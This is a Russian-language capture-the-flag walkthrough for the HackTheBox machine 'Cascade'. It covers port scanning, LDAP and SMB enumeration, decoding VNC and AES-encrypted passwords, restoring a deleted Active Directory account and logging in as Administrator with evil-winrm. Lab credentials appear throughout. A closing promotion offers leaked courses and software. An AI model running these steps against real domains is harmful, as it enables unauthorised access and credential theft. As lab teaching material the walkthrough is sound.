Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.
В данной статье мы покопаемся в LDAP, декодируем VNC пароль, декомпилируем приложения dotNet, легко расшифровываем AES и восстанавливаем удаленные объекты Active Directory.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.182, который я добавляю в /etc/hosts.
10.10.10.182cascade.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmapом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182 --rate=500
На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.
nmap cascade.htb -p49172,49157,49154,135,53,5985,636,389,139,49155,445,3269,3268,49158,88
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A cascade.htb -p49172,49157,49154,135,53,5985,636,389,139,49155,445,3269,3268,49158,88
Как обычно, первым делом начинаем с перечисления SMB enum4linux.
enum4linux -a cascade.htb
Сохраняем себе список пользователей и членство их в группах. Посмотрим, что нам может предложить LDAP.
Entry Point
Для работы с LDAP используем JXplorer. Подключимся и посмотрим все объекты.
И у пользователя Ryan Thompson находим атрибут cascadeLegacyPwd.
Декодируем base64 и получаем пароль.
USER
Раз мы нашли учетные данные, давайте посмотрим доступные нам SMB ресурсы c помощью CrackMapExec.
cme smb cascade.htb -u "r.thompson" -p "rY4n5eva" --shares
Подключимся к ресурсу Data.
smbclient -U r.thompson //10.10.10.182/Data
Давайте просмотрим все что есть рекурсивно.
А теперь скачаем и посмотрим эти файлы.
get "IT\Email Archives\Meeting_Notes_June_2018.html"
get "IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log"
get IT\Logs\DCs\dcdiag.log
get "IT\Temp\s.smith\VNC Install.reg"
В первом файле говорят о переносе сети и о том, что пароль TempAdmin совпадает с паролем обычного админа.
Из второго файла отметим для себя права пользователя ArkSvc.
В третьем файле ничего интересного. А вот в четвертом находим VNC пароль для пользователя s.smith.
Декодируем его с помощью vncpasswd. Указываем, что хотим декодировать пароль (-d) и передаем его в Hex виде.
vncpasswd.py -d -H 6bcf2a4b6e5aca0f
Если посмотреть вывод enum4linux, увидим, что данный пользователь является членом групп Remote Management Users. Попробуем зайти через службу winrm с данным паролем.
evil-winrm -i cascade.htb -u s.smith -p sT333ve2
USER 2
Посмотрим SMB ресурсы данного пользователя
cme smb cascade.htb -u s.smith -p sT333ve2 --shares
Доступен ресурс Audit$.
smbclient -U s.smith //10.10.10.182/Audit$
Давайте загрузим все, что есть.
Среди загруженных файлов имеется база данных, открыв ее можно нати учетные данные в таблице LDAP.
Но они никуда не подходят, видимо пароль зашифрован, а расшифровывается с помощью программы. При этом имется CascCrypto.dll. При этом и программа и библиотека написаны на C#.
Декомпилируем программу с помощью dnSpy. Находим место, где из базы считывается пароль и передается в функцию расшифровывания. Там же передается ключ.
Декомпилировав библиотеку, узнаем режим шифрования и вектор инициализации.
Таким образом, имеем следующие параметры:
Теперь нужно расшифровать. Сделаем это на сайте CyberChef.
И мы получаем пароль. Как следует из enum4linux, данный пользователь состоит в группах Remote Management Users и AD Recycle Bin. Как можно помнить, данный пользователь был нужен для переноса объектов. А у пользователя TempAdmin такой же пароль, как и у администратора. Но он был удален.
Давайте посмотрим удаленные объекты.
Get-ADObject -IncludeDeletedObjects -Filter {IsDeleted -eq $True}
И находим тот объект который искали. Давайте получим его атрибуты.
Get-ADObject -Filter {SamAccountName -eq 'TempAdmin'} -IncludeDeletedObjects -Properties *
И декодируем пароль.
Подключимся к WinRM и заберем флаг.
evil-winrm -i cascade.htb -u Administrator -p baCT3r1aN00dles
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.